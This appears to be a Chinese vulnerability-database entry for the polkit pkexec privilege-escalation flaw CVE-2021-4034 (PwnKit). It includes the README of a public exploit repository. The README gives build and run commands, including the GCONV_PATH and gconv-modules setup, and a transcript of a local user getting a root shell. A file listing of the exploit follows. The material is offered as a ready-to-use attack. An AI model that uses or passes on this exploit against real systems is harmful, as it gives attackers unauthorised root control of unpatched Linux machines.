关联漏洞
标题：
polkit 缓冲区错误漏洞
(CVE-2021-4034)
描述：polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。
介绍
# CVE-2021-4034
One day for the polkit privilege escalation exploit
Just execute `make`, `./cve-2021-4034` and enjoy your root shell.
The original advisory by the real authors is [here](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)
## PoC
If the exploit is working you'll get a root shell immediately:
```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
```
Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit:
```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
```
## About Polkit pkexec for Linux
Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).
文件快照
[4.0K] /data/pocs/15431034b85be5b6b48d68bcd6fe36ad1081e65f
├── [ 16K] cve-2021-4034
├── [ 274] cve-2021-4034.c
├── [ 33] gconv-modules
├── [ 400] Makefile
├── [ 339] pwnkit.c
├── [ 16K] pwnkit.so
└── [1.4K] README.md
0 directories, 7 files
备注
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